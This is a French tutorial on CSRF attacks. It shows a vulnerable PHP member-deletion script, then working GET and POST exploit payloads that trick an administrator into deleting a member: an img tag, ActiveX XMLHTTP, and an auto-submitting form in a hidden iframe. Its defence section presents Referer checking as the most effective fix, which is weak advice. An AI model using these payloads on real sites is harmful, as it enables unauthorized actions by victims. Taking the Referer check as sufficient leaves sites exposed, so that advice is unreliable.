La faille CSRF

 Ce tutorial va parler explicitement de la faille CSRF, abréviation de "Cross Site request-forgery". En français, nous pouvons traduire cela par une attaque d'un site via une requête forgée. Prêt de la totalité des sites web sur le net sont "dangereusement" vulnérables à cette faille. Nous verrons dans un premier temps en quoi consiste ce type d'attaque, pour en élaborer les principes et les possibilités en mettant en évidence une attaque de type GET, nous verrons un exemple d'attaque par méthode POST (qui se corse un peu plus) puis nous verrons comment parer ces attaques ou colmater ces failles. Des connaissances en html, javascript et php sont requises, ce qui peut faciliter la compréhension de ce qui va suivre.

Le sommaire :

  1. En quoi consiste ce type d'attaque (attaque GET)
  2. attaque par méthode POST
  3. Diverses parades

I - En quoi consiste ce type d'attaque (attaque GET)

Ce type d'attaque consiste simplement à faire exécuter à une victime une requête HTTP à son insu. Pour parler dans un langage plus courant, notre but est de faire aller notre victime sur une page pour qu'il exécute les actions de la page, avec ses privilèges (généralement plus élevés que les nôtres). On imagine le code suivant :

<php
//  supprimer_membre.php : script permettant de supprimer un membre du site
// En premier, on vérifie que l'utilisateur est admin

session_start();
if(isset($_SESSION['admin']) && $_SESSION['admin'] == 1)
{
    // Ok, il est admin. On vérifie qu'il a demandé un pseudo à supprimer
    if(isset($_GET['pseudo']) && !empty($_GET['pseudo']))
    {
        // On se connecte à la base de donnée
        mysql_connect('localhost','root','');
        mysql_select_db('base');

        // On fait la requête pour supprimer le membre
        mysql_query('DELETE FROM membre WHERE pseudo=\''.addslashes($_GET['pseudo']).'\'');
        echo 'Membre supprimé avec succ&egrave;s...';
    }
}
else
{
    echo 'Tu n\'es pas admin, tu n\'as rien &agrave; faire ici !';
}
?>

Ce script est bien évidemment non exhaustif. Ici, l'on voit que seul l'administrateur possède les privilèges de suppression d'un membre. Imaginons que nous connaissons l'emplacement de cette page, qui est : http://www.site-vulnerable.com/admin/supprimer_membre.php. Allons sur cette page, le message est clair :

Tu n'es pas admin, tu n'as rien à faire ici !

L'idée serait alors de faire exécuter cette page discretement à notre victime, qui est l'administrateur du site. Si nous lui envoyons directement la page http://www.site-vulnerable.com/admin/supprimer_membre.php?pseudo=Gaston (qui est censé supprimer le membre nommé "Gaston"), il ne se fera pas avoir de suite. Déjà, il faut nous assurer que l'administrateur soit connecté à sa zone d'administration ou, plus correctement parlant, que sa variable de session admin soit validée par le script pour accéder aux procédures d'administration. Imaginons une page html avec ce code :

<img src="http://www.site-vulnerable.com/admin/supprimer_membre.php?pseudo=Gaston" />

En faisant exécuter cette page html à l'administrateur, il supprimera sans s'apercevoir le membre "Gaston" car son navigateur va directement envoyer une requête sur cette page (qui est censée être une image) avec les cookies de l'administrateur, et en exécuter son contenu. Nous pouvons donc assimiler la faille CSRF à un abus de confiance du site à la victime. Cette faille est un peu l'opposée de la redoutable faille CSS (Cross Site Scripting) qui, elle, est due à un abus de confiance de la victime au site.

Cette méthode d'exploitation de la faille est la plus simple qui soit, car nous envoyons une méthode GET à notre cible. Maintenant, nous allons nous pencher sur le cas d'une attaque par méthode post (ce qui, cette fois, n'est pas aussi évident).

II - Attaque par méthode POST

Contrairement à la méthode GET, la méthode POST ne transmet aucune variable dans l'adresse. Il devient donc plus difficile d'exploiter une faille CSRF dans ces cas-là. Reprenons le script ci-dessus, et modifions le juste un peu :

<php
//  supprimer_membre.php : script permettant de supprimer un membre du site
// En premier, on vérifie que l'utilisateur est admin

session_start();
if(isset($_SESSION['admin']) && $_SESSION['admin'] == 1)
{
    // Ok, il est admin. On vérifie qu'il a demandé un pseudo à supprimer
    if(isset($_POST['pseudo']) && !empty($_POST['pseudo']))
    {
        // On se connecte à la base de donnée
        mysql_connect('localhost','root','');
        mysql_select_db('base');

        // On fait la requête pour supprimer le membre
        mysql_query('DELETE FROM membre WHERE pseudo=\''.addslashes($_POST['pseudo']).'\'');
        echo 'Membre supprimé avec succ&egrave;s...';
    }
    else
    {
        echo '<form method="post" action="supprimer_membre.php">
        <p> Nom du membre &agrave; supprimer : <input type="text" name="pseudo" />
        <input type="submit" value="Valider" /> </p>
        </form>'
;
    }
}
else
{
    echo 'Tu n\'es pas admin, tu n\'as rien &agrave; faire ici !';
}
?>

Ici, même principe. Si nous ne sommes pas administrateur, nous avons le même message :

Tu n'es pas admin, tu n'as rien à faire ici !

Par contre, si nous sommes administrateur, nous devrions avoir un résultat comme celui-ci :

Nom du membre à supprimer :

(Note : ici, j'ai "paralysé" le formulaire pour qu'il soit inopérant. Cela ne sert à rien de cliquer sur "Valider", il ne se passera rien.)

Notre but serait alors de faire poster le membre Gaston par l'administrateur. Il existe une solution uniquement envisageable sous internet explorer : créer un script en langage Javascript pour qui celui-ci poste les données via les informations de la victime stockées par le navigateur, donc avec ses cookies. Bien sûr, pas d'exception non plus au niveau de la règle : vous devez vous assurer que la victime soit connectée à la zone d'administration. Voici un code qui peut exploiter la faille (uniquement sous Internet Explorer) :

<script>
var content = 'pseudo=Gaston'; // Notre contenu post à envoyer
var http    = new ActiveXObject("Microsoft.XMLHTTP");
http.open(POST,"http://www.site-vulnerable.com/admin/supprimer_membre.php",true);
http.send(content);
</script>

Ce code discret enverrait du contenu post sur la page qui permet de supprimer un membre. En envoyant notre page HTML à l'administrateur, il supprimera à son insu le membre Gaston. Voici maintenant un code portable sous Firefox et Internet Explorer, mais un peu moins discret. Celui-ci permet aussi de supprimer Gaston des membres.

<form method="post" action="http://www.site-vulnerable.com/admin/supprimer_membre.php" name="abc">
<input type="text" name="pseudo" value="Gaston" />
</form> <script> abc.submit(); </script>

Lorsque nous envoyons cette page à notre administrateur, il s'apercevra que le membre Gaston à été supprimé. Nous pouvons alors être discret en logeant cette page dans une iframe. Imaginons que notre page s'appelle post.html, nous aurons alors à faire exécuter à notre victime :

<iframe src="post.html" width="0" height="0" /></iframe>

Ce code, bien discret, va créer une iframe invisible (ou presque, sous firefox...) et, dans cette iframe, la requête http sera exécutée. Bien sûr, il faut que les deux codes html se situent dans le même chemin d'accès.

III - Diverses parades

Il y a diverses parades pour éviter tout cela. La parade la plus efficace est de vérifier le "referer", ou la page de provenance. Voici un exemple :

<php
if($_SERVER['HTTP_REFERER'] == "http://www.site-vulnerable.com/admin/supprimer_membre.php")
{
    // Ok, le script se déroule normalement...
}
// Sinon, il ne se passe rien
?>

Vous pouvez aussi opter pour les "captcha", images qui demandent une confirmation visuelle avant de faire quoi que ce soit.

Le tutoriel touche à sa fin. Je suis ouvert à chaque question/remarque à l'adresse suivante : geo [point] 669 [at] gmail [point] com

Geo